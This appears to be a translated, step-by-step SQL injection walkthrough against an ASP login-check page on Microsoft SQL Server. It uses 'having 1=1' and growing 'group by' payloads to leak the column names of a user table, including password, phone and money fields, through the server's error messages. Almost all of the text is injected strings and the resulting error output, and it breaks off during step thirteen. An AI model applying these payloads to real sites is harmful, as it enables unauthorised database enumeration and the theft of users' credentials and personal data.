1. Obtain the table name and field name of the created user. Use the having clause in the select syntax.
**************************************** **************************************** **
Having 1 = 1 --
**************************************** **************************************** **
Returned results:
Microsoft ole db Provider for SQL Server Error 80040e14
The column reguser. reg_id is invalid in the selection list because it is not included in the aggregate function and has no group by clause.
/Football/reguser/check. asp, row 26
Result: The table name reguser and the first field name reguser. reg_id are known.
2. Place fields in the group by clause to find the field name.
1,
**************************************** **************************************** **
Group by reguser. reg_id having 1 = 1 --
**************************************** **************************************** **
Returned results:
Microsoft ole db Provider for SQL Server Error 80040e14
The column reguser. reg_name is invalid in the selection list because it is neither included in the aggregate function nor in the group by clause.
/Football/reguser/check. asp, row 26
Result: The reguser. reg_name field is obtained.
2,
**************************************** **************************************** **
Group by reguser. reg_id, reguser. reg_name having 1 = 1 --
**************************************** **************************************** **
Returned results:
Microsoft ole db Provider for SQL Server Error 80040e14
The column reguser. reg_password is invalid in the selection list because it is neither included in the aggregate function nor in the group by clause.
/Football/reguser/check. asp, row 26
Result: The reguser. reg_password field is obtained.
3,
**************************************** **************************************** **
Group by reguser. reg_id, reguser. reg_name, reguser. reg_password having 1 = 1 --
**************************************** **************************************** **
Returned results:
Microsoft ole db Provider for SQL Server Error 80040e14
The column reguser. reg_relname is invalid in the selection list because it is neither included in the aggregate function nor in the group by clause.
/Football/reguser/check. asp, row 26
Result: The reguser. reg_relname field is obtained.
4,
**************************************** **************************************** **
Group by reguser. reg_id, reguser. reg_name, reguser. reg_password, reguser. reg_relname having 1 = 1 --
**************************************** **************************************** **
Returned results:
Microsoft ole db Provider for SQL Server Error 80040e14
The column reguser. reg_regtime is invalid in the selection list because it is neither included in the aggregate function nor in the group by clause.
/Football/reguser/check. asp, row 26
Result: The reguser. reg_regtime field is obtained.
5,
**************************************** **************************************** **
Group by reguser. reg_id, reguser. reg_name, reguser. reg_password, reguser. reg_relname, reguser. reg_regtime having 1 = 1 --
**************************************** **************************************** **
Returned results:
Microsoft ole db Provider for SQL Server Error 80040e14
The column reguser. reg_findimethyl is invalid in the selection list because it is neither included in the aggregate function nor in the group by clause.
/Football/reguser/check. asp, row 26
Result: The reguser. reg_findimethyl field is obtained.
6,
**************************************** **************************************** **
Group by reguser. reg_id, reguser. reg_name, reguser. reg_password, reguser. reg_relname, reguser. reg_regtime, reguser. reg_findimethyl having 1 = 1 --
**************************************** **************************************** **
Returned results:
Microsoft ole db Provider for SQL Server Error 80040e14
The column reguser. reg_city is invalid in the selection list because it is neither included in the aggregate function nor in the group by clause.
/Football/reguser/check. asp, row 26
Result: The reguser. reg_city field is obtained.
7,
**************************************** **************************************** **
Group by reguser. reg_id, reguser. reg_name, reguser. reg_password, reguser. reg_relname, reguser. reg_regtime,
Reguser. reg_findimethyl, reguser. reg_city having 1 = 1 --
**************************************** **************************************** **
Returned results:
Microsoft ole db Provider for SQL Server Error 80040e14
The column reguser. reg_qq is invalid in the selection list because it is neither included in the aggregate function nor in the group by clause.
/Football/reguser/check. asp, row 26
Result: The reguser. reg_qq field is obtained.
8,
**************************************** **************************************** **
Group by reguser. reg_id, reguser. reg_name, reguser. reg_password, reguser. reg_relname, reguser. reg_regtime,
Reguser. reg_findimethyl, reguser. reg_city, reguser. reg_qq having 1 = 1 --
**************************************** **************************************** **
Returned results:
Microsoft ole db Provider for SQL Server Error 80040e14
The column reguser. reg_icq is invalid in the selection list because it is neither included in the aggregate function nor in the group by clause.
/Football/reguser/check. asp, row 26
Result: The reguser. reg_icq field is obtained.
9,
**************************************** **************************************** **
Group by reguser. reg_id, reguser. reg_name, reguser. reg_password, reguser. reg_relname, reguser. reg_regtime,
Reguser. reg_findimethyl, reguser. reg_city, reguser. reg_qq, reguser. reg_icq having 1 = 1 --
**************************************** **************************************** **
Returned results:
Microsoft ole db Provider for SQL Server Error 80040e14
The column reguser. reg_msn is invalid in the selection list because it is neither included in the aggregate function nor in the group by clause.
/Football/reguser/check. asp, row 26
Result: The reguser. reg_msn field is obtained.
10,
**************************************** **************************************** **
Group by reguser. reg_id, reguser. reg_name, reguser. reg_password, reguser. reg_relname, reguser. reg_regtime,
Reguser. reg_findimethyl, reguser. reg_city, reguser. reg_qq, reguser. reg_icq, reguser. reg_msn having 1 = 1 --
**************************************** **************************************** **
Returned results:
Microsoft ole db Provider for SQL Server Error 80040e14
The column reguser. reg_phone is invalid in the selection list because it is neither included in the aggregate function nor in the group by clause.
/Football/reguser/check. asp, row 26
Result: The reguser. reg_phone field is obtained.
11,
**************************************** **************************************** **
Group by reguser. reg_id, reguser. reg_name, reguser. reg_password, reguser. reg_relname, reguser. reg_regtime,
Reguser. reg_findimethyl, reguser. reg_city, reguser. reg_qq, reguser. reg_icq, reguser. reg_msn, reguser. reg_phone having 1 = 1 --
**************************************** **************************************** **
Returned results:
Microsoft ole db Provider for SQL Server Error 80040e14
The column reguser. reg_class is invalid in the selection list because it is neither included in the aggregate function nor in the group by clause.
/Football/reguser/check. asp, row 26
Result: The reguser. reg_class field is obtained.
12,
**************************************** **************************************** **
Group by reguser. reg_id, reguser. reg_name, reguser. reg_password, reguser. reg_relname, reguser. reg_regtime,
Reguser. reg_findimethyl, reguser. reg_city, reguser. reg_qq, reguser. reg_icq, reguser. reg_msn, reguser. reg_phone, reguser. reg_class having 1 = 1 --
**************************************** **************************************** **
Returned results:
Microsoft ole db Provider for SQL Server Error 80040e14
The column reguser. reg_money is invalid in the selection list because it is neither included in the aggregate function nor in the group by clause.
/Football/reguser/check. asp, row 26
Result: The reguser. reg_money field is obtained.
13,
**************************************** **************************************** **
Group by reguser. reg_id, reguser. reg_name, reguser. reg_password, reguser. reg_relname, reguser. reg_regtime,
Reguser. reg_findimethyl, reguser. reg_city, reguser. reg_qq, reguser. reg_icq, reguser. reg_msn, reguser. reg_phone,
Reguser. reg_class, reguser. reg_money having 1 = 1 --
****************************